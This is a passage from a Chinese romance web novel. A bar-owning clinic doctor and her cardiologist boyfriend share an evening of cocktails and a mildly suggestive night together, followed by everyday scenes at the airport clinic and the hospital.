江问舟没好气地啧了一声:“少来,那是你不想吃,你要是想吃,能只吃它屁股?” 齐眉委屈自己的时候不是没有,但这不包括委屈自己的胃。 不过说是这么说,江问舟还是拿了两颗蓝莓递到她嘴边。 齐眉眨眨眼,看田乐他们都没注意,便赶紧低头将蓝莓含了过来,然后冲他摆摆手,示意他赶快回去。 但他走了没多久,陈妍过来了,齐眉看到她,以为她要点喝的,便笑眯眯地问道:“陈医生要喝点什么?” 陈妍摇摇头,笑嘻嘻地在吧台凳坐下,托着腮看着田乐和佟林调酒。 “你不和他们玩桌游吗?”齐眉有些好奇。 “我玩不明白。”陈妍有些不好意思,“我不会玩这些,看了一下没看太懂,干脆就算了。” 原来是这样,齐眉笑着哦了声:“那就在这里坐会儿,聊聊天好了。” 正好有客人点了一杯莫斯科骡子,齐眉一边跟她说着话,一边伸手拿过一瓶伏特加。 看着她倒酒的动作,陈妍有些好奇:“你这样一个晚上都要不停地在调酒吗?” “差不多吧,客人多,没办法。”齐眉开玩笑,“对员工来说不是什么好事,摇酒摇得手都断了,但对于老板来说,只有这样才能松口气,旺季都没客人的话,就离倒闭不远啦。” “所以我是痛并快乐着。”她说完,将量好的伏特加倒进装满碎冰的高球杯里。 再加入姜汁啤酒和青柠汁,轻轻提拉混匀,最后加入青柠片和薄荷叶做装饰。 这样一杯莫斯科骡子就做好了,她按了一下铃,清脆的声音顿时在陈妍耳边响起。 看着酒被端走,她很惊讶:“这就好啦?这么简单?” “鸡尾酒说难不难,说容易也不容易。”齐眉一边洗杯子一边道,“入门简单,不然我也不会只学了几个月就敢想开店的事,但要精通可不容易,不然我也不用请乐乐和佟哥在这儿坐镇了,他们才是我们这儿的主调和副调,有些客人想喝我调的,只是给我这个老板面子罢了。” “你们平时都要做什么呀?”陈妍若有所思地点点头,“每天除了调酒,没别的事了?” “当然有了,别的不说,单说每个月的酒单,那都要我们自己想的。”齐眉笑笑,“我们和奶茶店一样的啊,要有新品,才能给客人新鲜感,但是招牌经典也要维持水准,才会让客人愿意回头。” “还要把控成本。”田乐笑嘻嘻道,“有一些原料涨价了,比如某款基酒,今年的售价比去年一瓶涨了差不多五十块,我们换不换品牌?换的话,能保证口感吗?不换的话,要涨价吗?” 其实说到最后,都是如何寻求平衡的问题。 陈妍听完点点头,说:“跟我们也挺像的,我们收了病人要用药,得考虑病人的家庭条件怎么样,这个药效果好,但比较贵,病人和家属能承担吗?不能的话有没有可替代的药?能的话,我们医院开得出来吗?住院住了半个多月,一看费用,卧槽!GRG计费超了!得去谈出院,会被病人和家属骂吗,我们都没好你们居然不给我治了?” 反正到最后就是,任何一个人,都不可能只专注地干自己本来该做的事。 调酒师不能只调酒,医生不能只看病。 田乐闻言大发感慨:“这就是苦逼的人生啊!” 齐眉失笑,突然把一杯酒推到陈妍面前,陈妍一愣:“……诶?我没点酒啊?” “请你喝的呀。”齐眉声音轻快,“虽然很辛苦,但我们可以用好吃的好喝的抚慰一下心灵,是不是?” “这是今年为了荔枝季推出的新品哦,荔枝接骨木玛格丽特,味道很棒的,来这里的很多女客人都喜欢,你也尝尝。” 陈妍惊讶地哇了一声:“我这是……混上赠品啦?” “聊得开心的客人都可能收到调酒师的掉落哦。”齐眉眨眨眼,笑眯眯道。 “不过我们一般是送shot,你可以理解为试喝,在四十毫升左右,每家店的shot容量可能不一样。”田乐帮着解释道。 陈妍听完看一下自己面前的大杯,开玩笑地问:“那我这杯是不是有友情成分?是正装的大杯诶。” 齐眉笑着点点头:“是呀,我纪叔叔住院的时候,多亏了你们照顾,请你喝杯酒而已,不算什么啦。” 这么说的话,她应该给其他人也送一杯。 说送就送,齐眉很快就调出了四杯和陈妍面前这杯一模一样的荔枝接骨木玛格丽特,按了一下铃。 江问舟他们在玩桌游,感觉像是在搞基建,一会儿建房子一会儿养羊,还得雇佣人来剪羊毛,说难不难,但就还挺琐碎。 刚开始没多久,他们就发现陈妍不见了,抬头找了一会儿,蔡朝率先发现:“她在吧台那边。” 江问舟之后便过一会儿往那边看一眼,见齐眉和她似乎聊得还不错,脸上笑盈盈的,这才放下心来。 秦一鸣在一旁留意到他的举动,不由得有些好笑。 但当着同事们的面,他也不好说什么,只能把调侃和安慰的话咽回去,当做什么都没发现。 玩了一会儿,服务员忽然过来送酒,蔡朝疑惑地问他们谁点了酒,大家看向江问舟。 江问舟稍稍一想就明白了过来,问道:“你们眉姐让送过来的?” 服务员笑着应是,说了句“这是用新鲜荔枝汁和接骨木利口酒等调制的荔枝接骨木玛格丽特,请慢用”,就转身离开了。 江问舟失笑,回头对同事们说:“还有想喝的自己去点,不用客气,今晚我买单。” “还得是我们老大啊!”蔡朝笑嘻嘻地应道,立刻表示,“我再要一份炸鸡,炸鸡就酒,越吃越有。” “越吃越胖就有。”沈媛无语地白他一眼,然后说,“我要一份香草烤土豆。” 江问舟看他们说说笑笑,也有些忍俊不禁,低头抿一口酒,清甜的果香立刻迎面而来,这时节确实该有荔枝。 一口酒还没咽下去,就感觉自己的胳膊被拱了一下,扭头一看,好么,大白团子年年正在拱他。 “你怎么过来了?”他放下酒杯,伸手将它拉过来,揉揉它的脸,却见它的眼睛一直看向桌上的果盘。 顿时就明白过来,给它拿了一块火龙果,“就一块,水果糖分高,小狗不能多吃。” 说着还在它头顶揩一下手指。 年年吃完火龙果,歪头继续看着他,眼巴巴的,黑葡萄一样的眼睛闪动着可怜兮兮的光芒。 谁养的像谁,江问舟几乎是顷刻之间,便想起齐眉要什么东西或者对他提什么要求时的模样。 抿着唇,眉头皱着,看上去有些可怜似的,还要撒娇,拖着音调喊:“江问舟——哥——” 江问舟心里一顿,觉得拿这个白团子没办法,叹气吐槽道:“你怎么跟你妈一模一样?” 年年冲着他:“嗷呜——”叽里咕噜什么呢?再来一块! 第53章 第五十三章(二合一)谁是你老婆?不…… 秦一鸣和陈妍他们在晚上十一点刚过的时候离开,当时店里正在放校长的经典老歌《说不出再见》。 “我最不忍看你,背向我转面,要走一刻请不必诸多眷恋……”[1] 陈妍开玩笑说:“我现在也舍不得说再见,妹妹跟我回去吧?” 齐眉立刻摇头:“不不不,我跟我哥回去就行,谢谢哦。” 大家一阵好笑,说陈妍是喝醉昏了头了,秦一鸣还意有所指地道:“听听你说的什么鬼话,希望你以后不要后悔。” 以后?是明天酒醒以后,还是什么时候? 江问舟和齐眉看向他,他就冲他们嘿嘿一笑,把俩人直接就给笑得别扭起来。 送了他们出去,江问舟折返回店里,在吧台坐下,正好听到有客人点了一组特调彩虹shot,便好奇地想看看到底是什么。 一时也忘了催齐眉赶紧收工下班。 佟林先在一个杯子里倒进量出来的红石榴糖浆、伏特加和柠檬汁,加入冰块,轻搅混匀之后就推到一边,再拿出雪克壶,倒入白朗姆酒和橙汁,摇匀后缓缓倒入刚才的酒杯里,便看见上黄下红的分层效果。 接着还是雪克壶,倒入蓝橙力娇酒、伏特加和柠檬汁,摇匀后再缓缓倒入酒杯,就见红黄分层之上多了一层淡淡的蓝色。 那蓝色还丝丝缕缕的向下渗透,三种颜色在慢慢发生着融合,是一杯非常漂亮的分层酒。 这还没完,客人要的是彩虹shot,所以佟林接着将酒杯里的酒依次倒入shot杯里,刚好七个杯子,七种颜色。 “可以从自己喜欢的颜色开始喝。”佟林对客人道。 难怪叫彩虹shot,原来真有七个颜色,虽然没有绿色紫色,但每一杯的颜色确实都有差异。 “很有意思。”他扭头对齐眉笑道。 齐眉笑眯眯地点点头:“不过你今晚已经喝了三杯了,不可以再喝了哦。” 江问舟本来想应好,但这时金金凑了过来,往他身上贴,他就想起了年年,特别是它跟他要水果吃时看他的眼神。 他犹豫都没有犹豫一秒,就抱着金金看向她:“再要一杯吧,好事成双,是不是?” “可是四不好听。”齐眉硬起心肠。 “那我喝五杯也行。”江问舟继续逗她。 俩人讨价还价,最后齐眉答应再给他调一杯酒精度数低的。 “说好是最后一杯了哦,你先答应我。”她拿着量酒器盯着他的眼睛道。 他有一双很亮的眼睛,乌黑的瞳孔像黑曜石一般闪耀,在夜晚酒吧迷离昏暗的光线里也照样熠熠生辉。 他弯起眼睛和她对视,应了声好,眼眸里有流光划过,攀上眼角,变成浓浓的笑意。 雪克壶里加入冰块,倒入加力安奴、白橙利口酒和鲜榨橙汁,然后是奶油,摇出来一杯跟橙汁颜色似乎没太大差异的酒。 推到江问舟面前时,他还忍不住问:“你……这加的喝了以后不会拉肚子吧?” “当然不会了,害怕就还给我。”齐眉没好气地白他一眼,然后说,“Goldendream,金色梦幻,它叫这个名字。” 江问舟笑起来,连忙将酒杯端起来,凑到鼻尖闻了闻,“橙子的味道很明显。” “毕竟加入的两种基酒里都有柑橘香调,还有橙汁。”齐眉弯下腰,将手肘撑在吧台上,手托着脸,笑吟吟道,“尝尝吧,你会惊讶的。” 江问舟看着她有些狡黠的神色,心里一突:“放了整蛊我的东西?” “当然没有!这个配方可是收录在IBA酒单里的,你知道这是什么吗?”齐眉不高兴了,直起腰,气呼呼地怼他,“那是国际调酒师协会列出的经典鸡尾酒酒单!” 江问舟连忙向她道歉,齐眉哼了声,先是小声咕哝一句:“不识货的家伙。” 接着声音又大起来:“喝慢一点!” 醉了我就把你扔在马路边让别人捡回去! 田乐正让服务员将客人要的龙舌兰日出送过去,江问舟在这样喧闹的声音里低头抿了一口酒。 舌尖轻触酒液的瞬间,他感觉到了一种很熟悉的味道,但很快又被橙汁和奶油混合之后类似橘子奶糖的香甜覆盖,变得清新悠长。 他忍不住又喝了一口,这次吞咽得很慢,仔细的咂摸半天,总算想起来了,“怎么感觉……有点八角的味道?” 齐眉噗嗤一下笑出声来,问他:“惊讶吗?这是加力安奴的风味,综合了茴香和草本风味之后,就变成了这样,你如果单独品尝一点的话,应该还能喝出别的味道,茴香、肉桂、甘草,都有可能。” 她说完摇摇头:“但是我接受不了咯,少量用做基酒还可以,单独喝它,除非我疯了。” 江问舟失笑,低头又喝了一口。 一边感受着果汁、奶油和酒融合后甜美丝滑的细致余韵,一边听田乐和佟林吐槽齐眉:“你这个不识货的家伙,没品!” 齐眉嘟嘟囔囔地吐槽回去,没过多久,江问舟手里的酒便喝完了,大概是十一点半左右,他和齐眉一前一后地离开店里。 往路口走去取车的路上,齐眉笑眯眯地跟他闲聊:“你知道金色梦幻还有一个别称叫什么吗?” 江问舟伸手捉她的手腕,指尖沿着她的掌根滑到掌心,摩挲几下,随即钻进她的指缝,变成十指紧扣的模样。 齐眉下意识扭头看了一眼,见身后没人,于是也没挣脱他的手,就让他这么牵着。 这做贼一样的感觉哦,江问舟不由得一阵好笑。 “叫什么?金色梦想?”他接上刚才的话题。 “……你要这么说的话,好像也可以诶。”齐眉晃了晃他的手,跟他说起这款酒的故事,“我听说啊,只是道听途说,没求证过的,说是上世纪六十年代,迈阿密有位叫雷蒙多阿尔瓦雷斯的调酒师,为了纪念他心中的女神好莱坞巨星琼克劳馥,创造了这款酒,那个时候很流行口感甜美、酒精度相对适中、颜色诱人的餐后酒,或者叫女士酒嘛,所以它也很受欢迎,据说啊,在情人节的时候,它是酒吧里的必点饮品,人们叫它初恋饮料,或者情侣饮料,有意思吧?” “听起来确实是,我很喜欢这个味道,感觉没什么酒精。”江问舟笑着点点头,顺手帮她拉开车门。 齐眉一边矮身坐进车里,一边回答道:“因为没有加烈酒基酒嘛,加的是利口酒,酒精度数相对温和。” 江问舟没说什么,赶紧绕过车头坐进副驾。 然后突然伸手,一把握住方向盘。 齐眉一愣,扭头看向他:“……怎么了?” 她刚想问是不是安全带还没系好,就见他的脸突然在眼前放大,呼吸间的淡淡酒气扑了她一脸,她下意识屏住呼吸。 下一秒就是滚烫的吻落在唇上,空气里的酒精浓度瞬间暴涨。 齐眉的唇齿被他撬开,他灵活的舌尖在她口腔内肆意横扫,直到她胸腔里的氧气被压榨殆尽,才终于肯松口。 但也没有完全离开,唇瓣仍恋恋不舍地摩挲着她的面颊,听她张口呼吸时急促的喘息声,觉得格外悦耳。 齐眉觉得自己手脚都是软的,靠在他的怀里有些欲哭无泪:“……你发什么疯?” 江问舟不吭声,又亲了亲她的耳朵,把头枕在她的肩膀上,呼吸逐渐变得平稳。 似乎是很依恋她的模样,齐眉一时心软,忍不住一阵心软。 她抬手摸摸这人的脸,滚烫滚烫的,心里不由得一顿:“醉了?” 肩膀上的脑袋摆了两下。 “醉了的人都说自己没醉。”齐眉一本正经地逗他。 江问舟哼地笑了声,还是什么都没说。 就这么抱着腻歪了快十分钟,齐眉推了他一把,提醒他明天还要上班,江问舟这才有些不情愿地松开手。 回到家已经是十二点过后,快十二点半了,小区里静悄悄的,只有零零星星几扇窗户还有灯光透出来。 电梯里只有他们俩,江问舟便放心地靠在齐眉身上,搂着她的腰,低头将脸埋在她的颈窝里,喃喃地叫她名字。 “西西,西西。” 齐眉嗯了声,问他:“怎么了嘛?” 他也不说话,就这么靠着她,哼地笑一声。 黏黏糊糊的,好像是在撒娇,齐眉觉得他这样很有意思,抬手去捏他的脸。 笑话他说:“我哥是赖皮鬼诶。” 江问舟啧了一下:“你是赖皮鬼的老婆,这样还高兴吗?” 齐眉一噎:“……谁是你老婆?不要脸。” 江问舟一听就又笑起来:“嗯,你不是我老婆,你是你嫂子。” 说完顿了顿,觉得有歧义,又补充:“我说的是我们家这边*。” 齐眉顿时大囧。 好家伙,都过了几个小时,不对,都是昨天的事了,他居然现在拿出来说! “……讨厌!”她恼怒地推他一把,将毫无防备的江问舟推在电梯轿厢壁上。 听见嘭的一声,刚想扶他,就听见电梯响起叮的提示音,电梯门紧接着打开了。 齐眉立刻收回手,朝他哼了声:“你活该!” “这不是你自己说过的话?”江问舟故作委屈,追在她身后出了电梯,话一句接一句,“你自己说就行,我说就不行?再说了,这话哪里错了,你不是你自己的嫂子?” “西西,你不认我这个哥哥了,是不是?” 齐眉:“……”啊啊啊!这个人好烦!!! 她忍气吞声,顶着噪音,一直憋到开门进了屋。 钥匙和包都放下,这才扭身一推,将江问舟顶在门上,揪住他的衣领,凶巴巴地命令他:“你给我闭嘴!” 江问舟顿时忍俊不禁,低头含住她的嘴唇嘬了一下,才咬着她的上唇笑道:“这样才行。” 声音里的笑意难掩,齐眉既觉得耳朵一阵阵发热,又觉得尴尬,不过一时兴起乱说的话,他记那么清楚就算了,还拿来揶揄她! 想反驳吧,又被他亲得无暇他顾,最后只得放弃,有些认命地伸手搂住他脖颈。 她渐渐被从他口中渡过来染得微醺。 午夜时分,各种因素交杂在一起,会让气温越来越高,最后到达某一个临界点。 只要再往前一步,理智的弦就会彻底崩断。 而齐眉已经被他抱坐在玄关柜上,江问舟的衬衫也已经被她扯开了几颗扣子,吮吸声此起彼伏,酒精卷席舌尖,酝酿出一片缠绵悱恻到醉人的甜。 “咪呜——” “嗷呜——” 猫狗的叫唤声突然响起,惊飞了正忘我的鸳鸯,旖旎的气氛瞬间便被扯开了一道缝隙,凉风倏地刮进去。 不管是江问舟还是齐眉,都突然清醒过来,动作一时僵住。 他们抱着彼此,有些尴尬地扭头一看,好么,一猫一狗正蹲在一旁看着他们。 金金坐在年年身前,仰着头,和年年一起,两双眼睛紧紧盯着他们,满眼都是认真和好奇的神色。 妈呀,这更尴尬了。 齐眉连忙松开江问舟的脖颈,推推他肩膀,低声道:“……起、起开……我要去洗澡了。” 江问舟有些不情愿,但也是实在没办法,只好低头蹭蹭她脖颈,叹口气,嘟囔一句:“养小孩哪里好了,一点都不好。” 齐眉有些忍俊不禁,伸手摸摸他的耳朵。 等她回房找好衣服进了浴室,关上门的时候,还听到他的声音从门缝溜进来:“你们两个坐好,过来梳毛。” “不许跑!谁让你跑的……凑热闹你怎么跑这么快?” “不许叫!你活该,谁让你不早点睡觉,非要凑热闹,你爸妈亲嘴就这么好看?” “迟早把你们都打包送回爷爷奶奶家……” 一句接着一句,听起来怨气十足,不知道的还以为小猫小狗怎么他了呢。 齐眉在里面听着,边听边笑,抬头一看镜子,只看见自己面上的笑容灿烂至极。 她愣了一下,随即觉得眼睛有点点莫名的发酸。 最坏最难熬的时候早就过去了,对吧? ————— 柔软的床垫被人体重量压得往下陷,齐眉放下手机回身,还没来得及出声,就直接被堵住了嘴。 热水澡似乎并没有冲淡江问舟身上的酒气,夹杂在薄荷牙膏的清凉味道里,丝丝缕缕,似有还无。 齐眉攀着他的肩膀,头往旁边微微一侧,他的吻便顺势落在她的脖颈上。 他听见她喉咙里响起一声吞咽声。 像是有火星落在白天被太阳晒得极致干燥的草堆里,呼啦啦烧起一片连绵大火,将夜空都烧得红了,火势却还在不断增长。 六月天里湿热的夜风一吹,热火漫天,爱欲疯狂滋长。 齐眉抱着江问舟的脖颈,拱起腰贴向他,听见他在自己耳边呢喃着低语:“西西,西西。” 她以为又是像之前那样,只是喊两声她的名字罢了。 但没想到她嗯地应了声之后,听到江问舟继续道:“我想你,西西,我好想你……” 声音闷闷的,仿佛藏着许多情绪。 他说完甚至叹了口气,叹得齐眉心头狠狠一颤,整个人都晃悠一下。 闷闷的钝痛在意料之中出现,齐眉抱住了怀里的头颅。 江问舟抬起头吻她的下巴,嘀咕着跟她说晚上喝的酒里,最喜欢最后那杯。 “初恋饮料,嗯,很适合我们,是不是?” 他们正是彼此的初恋,从青涩到成熟,从什么都不懂,到能互相体谅,他们一起走过的,是彼此迄今为止三分之二的岁月。 齐眉忽然间便觉得高兴。 她在他的岁月里出现了那么长那么长的时间呢! “江问舟,你亲亲我,亲亲我。”她忽然出声道。 江问舟的呼吸顿了一拍,随即顺应她的要求,吻上她的唇。 这吻柔软又缠绵,齐眉被亲得很放松,像是晚上泡澡时,疲惫的身体缓缓沉入温水,所有的杂念随着暖热的水波逐渐浮起,从体内暂时剥离,一切与此刻的他们无关。 最后只剩下无声无息的交融。 这时才能感受到彼此身体的变化,充分而隐晦地同时占据对方的整个身体和灵魂。 她甚至有些觉得,自己像是一座门影憧憧的花园宅子,江问舟来了,那一道道门便次第打开,他长驱直入,看到最美好的风景。 江问舟握着她的小腿,在她的脚踝上亲了一下,看她的目光亮亮的,带着毫不遮掩的占有欲。 不过他好像不知道说什么才好,盯着齐眉看了好一会儿,才问了一句:“可以吗?” 齐眉啧了声,有些不好意思,抬起另一边腿,一脚踢在他胸口上,小声地嗔怪道:“你要就快点,很晚了,明天不上班是不是?” 江问舟笑起来,眼尾皱成一道很温柔的弧线。 齐眉被他折叠了起来,忍不住发出一声惊呼,随即又被堵住。 卧室里的温度直到后半夜才降下来,所有声音都隐匿进黎明前最浓重的墨色里。 天亮没多久,城市的上空便开始出现飞机的影子。 “阿眉这几天没休息好吗?好像有黑眼圈哦。”交班的同事看着齐眉,半晌才关切地问了句。 齐眉闻言顿时一噎,有些不知道该怎么回答才好。 憋了一会儿才点点头嗯了声,扯谎道:“最近都……太忙了,嗯,旺季嘛,生意比较忙,我们那又是夜场……” 大家都知道她有副业,好几个同事还去店里玩过,所以她这么说倒也没引起同事的怀疑。 不仅毫不怀疑,还笑嘻嘻地恭维她:“齐老板生意兴隆哦。” 话音刚落,就听陈羽丹噗嗤一下笑出声来。 齐眉抬头,看见她朝自己投过来的“我懂”的眼神,呼吸不由得一顿,随即脸上一片火辣。 她多少有些不自在,觉得好像被看透了。 好在陈羽丹也没想说什么,直到上一班的同事都走了,她才凑到齐眉跟前,笑嘻嘻地问道:“眉姐,我看你不止是店里生意是旺季吧?” 边说还边朝她眨眨眼。 齐眉装傻:“……听不懂你在说什么。” 陈羽丹立刻大惊小怪:“不是吧?这恋爱谈起来会让人听不懂别人在说什么的?幸好我是没谈啊!” 说完还拍拍胸口松口气,一副庆幸模样。 齐眉:“……” 她张了张口,却又不知道该怎么反驳,只好悻悻闭嘴。 幸好这时有身体不适的旅客过来就诊,总算是将这件事给岔开了去。 来的旅客是一位很年轻的女孩子,捂着左边脸,眉头紧皱,齐眉看了就问:“牙疼吗?” 对方点点头,问她有没有止痛药卖。 齐眉让她过来,张大嘴巴给她看了一下,发现确实是牙龈红肿,细问也没有别的不舒服,这才给她开了止痛药。 扫码付钱的时候对方惊讶道:“才六毛啊?” “是啊,才几片止痛药能贵得到哪里去。”齐眉失笑,将小票取下来,和装药的袋子一起递给她。 这位旅客离开后,又来了一对老年夫妻,说是老太太晕机,不舒服。 齐眉问了一下情况,说既然都已经下飞机了,头晕的症状休息之后自然会消失的,就不用吃晕机药了吧。 “药得起飞前半个小时吃才有用呢,阿姨您都下机了,也没必要吃了,坐下休息一会儿吧?” 她让陈羽丹帮忙给倒了杯水,让老两口在一旁坐着休息休息。 一时也没别的旅客过来,少不得聊聊天,说起来才知道老两口是来儿子和儿媳的,说是过年的时候两口子都忙,没回家,他们就等这会儿有空了才过来看看。 陈羽丹爱闲聊,便好奇地问:“您家小孩是做什么工作的呀?” “他们是在这边做餐饮的,开了两家饭店,钱是能赚一点,但太辛苦啦。” “开饭店的呀,开在哪儿啊?说不定我还去过呢。” 老人说是开在卫生学校附近,陈羽丹一愣,片刻后惊呼:“我靠!说不定我还真的去过,那是我母校呀!” 陈羽丹读的就是卫生学校的护理专业。 “是么,我们家店叫什么四季酒家,你去过吗?”老先生边说还边拿出手机,找照片给她看。 齐眉就听见陈羽丹在那儿连连惊呼:“哦!这家啊,去过去过,以前我们宿舍聚餐会去的,你们家的东北菜都很大份,那个锅包肉和炸蘑菇超级好吃!” 说完又啧啧感慨:“都已经是老字号了,我们也是师姐推荐去的呢。” 老人家闻言就笑起来,满脸都是骄傲,竖起两根手指,比了个耶似的,道:“他们都已经在容城打拼二十年啦,我大孙子两三岁的时候他们就过来了,没办法,我们那儿工资实在是低,加上老亲家生病,做手术什么的都要钱,家里都快掏空了,还要养孩子,没办法,只能出来了,嗐,人都是被逼的。” “现在就好啦,好日子在后头呢。”陈羽丹笑嘻嘻地应道。 大概是因为这点出乎意料的缘分,老两口和陈羽丹她们聊得很好,末了还明里暗里地打听陈羽丹有没有对象。 陈羽丹也大方,笑嘻嘻地道:“没呢,我爸妈熟人给我介绍的那个我觉得不合适,就没在一起。” 她对那位前相亲对象意见非常大,才提了一句就忍不住打开话匣子吐槽对方,不过也是就事论事,没说事后她家里人是什么态度。 这天一聊起来,什么头晕都好了,没多久老两口就要走,走之前还跟陈羽丹加了微信,说下次路过就来看看她,又说回头让儿子给她们送老家的特产。 陈羽丹其实也没太当回事,但见老太太热情,也就加了。 用她的话说就是:“这年头谁联系人列表里没几个萍水相逢的人啊,前面都聊得这么开心,这会不答应又有点不太愉快的样子,无所谓,大不了躺列呗,我列表位置多的是。” 齐眉被她的说法搞得好笑不已,冲她竖竖大拇指。 陈羽丹眼睛一转,趁着没人,凑过来问她:“姐,我请你喝咖啡,你给我讲讲你和前男友复合的事呗。” “……不是说过了么?”齐眉有些不自在,挠挠脸,往另一边侧了侧身,“就那样啊,发现彼此都还有感情,就又在一起了呗。” “那你们以前是怎么在一起的?”陈羽丹十分好奇,连连追问。 齐眉感觉她是拿自己和江问舟的事当活的小说来看,有些哭笑不得:“……日久生情吧,我们很早就认识了的。” 她挑了一些能说的告诉她,讲了快有二十分钟,才终于迎来下一位身体不适的旅客。 齐眉心里忍不住大松一口气,头一回觉得工作如此可爱。 江问舟周一是一整天的门诊,中午一直忙到十二点五十分才从门诊回来,吃完饭回到办公室已经快一点半了。 刚坐下准备给齐眉发信息,就听到门外传来一声呵斥:“他是疯了吗?!” 声音是宋主任发出的。 办公室里的同事们顿时面面相觑,蔡朝还奇怪地压低声音问:“老宋怎么啦,让你们组谁给气的?” 边说边冲宋主任他们组的同事抬抬下巴,努努嘴。 同事眉头一皱,摇摇头:“没有吧,早上不还好好的么?什么事都没发生。” “那他这是怎么了?”沈媛纳闷道,“宋主任脾气这么好,一年都见不到他发一次火,怎么现在这么凶?” “可能是遇到什么事了?”江问舟随口接了一句,低头给齐眉发信息,问她药吃了没有。 吃了一个多星期的药,齐眉的咳嗽确实好得七七八八了,这几天晚上睡觉,他没再听她半夜咳过。 于是他有点想让齐眉吃一段时间的汤药调养一下身体,但又觉得齐眉未必会肯,毕竟苦东西没几个人爱,茶和咖啡除外。 还得想个办法劝劝…… 刚想到这里,宋主任就进来了,脸色臭得很,走近桌边,把手机往桌上一扔,端起保温杯,刚拧开盖子,就又重重放了回去。 吐槽道:“你们说现在的小孩都怎么想的?以前我们穷得要命,想读书想疯了,做梦都怕梦见自己没书读,现在的小孩倒好,让他读书跟要他的命一样。” 大家一听这话音就懂了,不关他们事。 有人就问:“骂孩子呐?你儿子不是说要考博么,又不想考了?” “不是他,他肯定要考的。”宋主任再次拧开保温杯的杯盖,这回喝到水了,喝完才继续道,“是我弟弟的孩子,臭小子今年就要高三了,突然跟家里说,学不进去,不想读了,想出来做工。” “真是疯了。”宋主任越说越气,“他不知道参加了个什么创业夏令营,跟同学一起去夜市摆摊卖鸡尾酒,赚了点零花钱,还把一个什么视频账号做了起来,有个几万粉丝,就觉得自己了不起了,要当大网红了,马上就财富自由了,还上什么学啊!” “真是给我气死了,网红又怎么样,网红就不用文化了吗?谁特么愿意喜欢一个高中毕业证都没有的大草包?!” 宋主任越说越气,直接就拍桌子了。 大家连连劝他消消气,出主意说:“这不正好暑假么,他不不读书了想干什么,找个做这个的地方让他去实习实习,最好是辛苦的那种,让他被现实毒打一通就知道痛了。” 网红也没这么好做的,这世上哪个行业都一样,想做到中上水平,都要付出很多努力。 “光骂有什么用啊,你骂他,他还当你老古板,out啦,不懂年轻人,你就让他去碰壁呗,停学几个月,出去撞撞南墙就知道还是读书舒服了。” “要是这几个月他就真的能做成大网红,那就是他确实是天选之子,你们就别挡着他的路了,等以后哪天他想明白了再重新读吧,不如看紧他别被人带去吃喝嫖赌了。” 江问舟越听越忍不住皱眉。 晚上回了家,睡前跟齐眉视频,说起这件事还忍不住感慨,说现在的小孩真是不好管教,以后我们家小孩这样可怎么办啊,云云。 齐眉满脸无语:“你这也想得太远了吧?” 话音刚落,卫生间的门就开了,陈羽丹从里面出来,听到她和江问舟的对话,便笑嘻嘻地问:“眉姐是在跟姐夫视频吗?” 齐眉:“……” 倒是江问舟忍不住笑了声,语气轻快地问:“是你上次陪她一起去租房子的那位同事?” 齐眉无奈地嗯了声,心里忍不住吐槽,真是给这人爽到了! 第54章 第五十四章(二合一)这世上没有一个…… 齐眉这次的中药吃到周五,因为周六要上班,她干脆还是周五去复诊。 还是约了下午的号,齐眉早上起床的时候,江问舟已经不在家,正常工作日嘛。 临走前他把金金和年年放进了房里,所以她醒的时候,金金正在床上坐着,和地上的年年四目相对,你打我一下,我拱你一嘴,玩得不亦乐乎。 金金的屁股底下还坐着一本相册。 就是前几天他们在店里提起过的,放有她冯程程同款艺术照的那本相册。 也是她和任清葭一起看过,并且在讨论照片时,因为没有关紧门,被江问舟听了墙角,才有了后来一些波折的相册。 但也是因为这样,他们才终于得以复合。 “福兮祸之所倚,祸兮福之所倚。”齐眉想到这些事,嘟囔着念了一句,拍拍金金的屁股,“起来,把相册还给我。” 接着问它:“你上厕所擦干净屁股没有?” 金金扭头,冲着她咪呜一声,也不知道是在回答她哪个问题。 齐眉盘着腿坐在床边,和它们玩了一会儿,后来还干脆给孙茂芸拨了个视频电话。 孙茂芸这会儿正好刚买菜回来,接到她电话就笑眯眯地问:“今天要不要回家吃饭?” “不回啦,周日再回吧,我今天得去复诊呢。”齐眉有些苦恼地应道,“我觉得我都好了,舟哥非让我继续吃药。” 这事孙茂芸是知道的,江问舟跟她说过,让她也一起劝劝齐眉。 闻言她立刻道:“那也是为了你身体着想嘛,身体调养好了才能活得久,知道吧?” 齐眉:“……”真是好清新的劝说理由! 孙茂芸又继续:“你现在是二十八岁啦,不是十八岁,身体已经不那么抗造了,就是要养生,知道吗?” “哪有!”齐眉立刻抗议,“还有十天才到我二十八岁生日啦!” “没差什么了,反正是这个意思。”孙茂芸摆摆手,“二十七岁也没十八岁抗造啊,对吧?” 反正说来说去就是要养生啦,齐眉蔫蔫地应了声:“知道啦!” 孙茂芸笑话了她两句,见金金凑过来看镜头,就说:“金金今天也在你那儿啊?” 齐眉心里一紧,磕巴了一下才啊了声:“……我哥、今天他值班嘛,没空管金金,就送过来给我……给我玩了,嘿嘿。” 笑声听起来多少有些心虚,但好在孙茂芸也没多想,只嘱咐她一定不要偷懒,好好吃药。 齐眉这回老实应好,在心里松了口气。 结束和干妈的视频,齐眉给江问舟发信息,说中午会给他送饭,让他别点外卖。 发完信息就起床洗漱吃早饭,然后招呼年年:“你要一起去超市吗?” 外面太热了,金金是肯定不愿意出去的,但她不确定爱凑热闹的年年想不想。 但年年只回头看了她一眼就没动静了,继续躺在蓝雪花的花架下方,还翻了个身露出肚皮来。 于是齐眉独自下楼,去了小区附近的超市,买好菜回来,已经是上午十点半。 天气热,重口味的东西很难吃得下去,齐眉索性做了鸡丝凉面,还有一份芥末虾仁,再烫了一份生菜,汤是江问舟爱喝的瘦肉水。 吃完午饭,看着年年和金金也开始吃了,这才提着打包好的餐盒,出门往医院走,和上次一样,在路上买了些点心,这次买的是咸口点心,主要是司康和香葱桃酥,另外给江问舟带了杯自己做的冷泡咖啡。 因为提前收到消息,所以在临近中午时,江问舟婉拒了蔡朝他们帮自己点外卖的邀请。 说是家里人会送饭过来,大家便猜要么是他爸妈,要么是他妹妹,陈妍还说:“真好,我也想有一个这样的妹妹。” 秦一鸣在旁边突然莫名其妙地说了句:“蔡朝你努力一下。” 陈妍一愣,疑惑地看向他:“啊?鸣哥你说啥?” “……没什么,你听错了。”秦一鸣笑笑,看一眼蔡朝,见他神色有些僵硬,就抿了抿唇。 齐眉是十二点的时候准时到的医院,但她觉得江问舟应该不能准时下门诊,所以先摸去了心外科门诊。 从第一间诊室开始注意看出诊医生的名字,一直看到诊室五,才看到江问舟的名字,正好有人开门出来,紧接着屏幕上出现了下一个就诊病人的名字。 看来确实是还没下班,齐眉松了口气,左右看看,找了个没人的位置坐下。 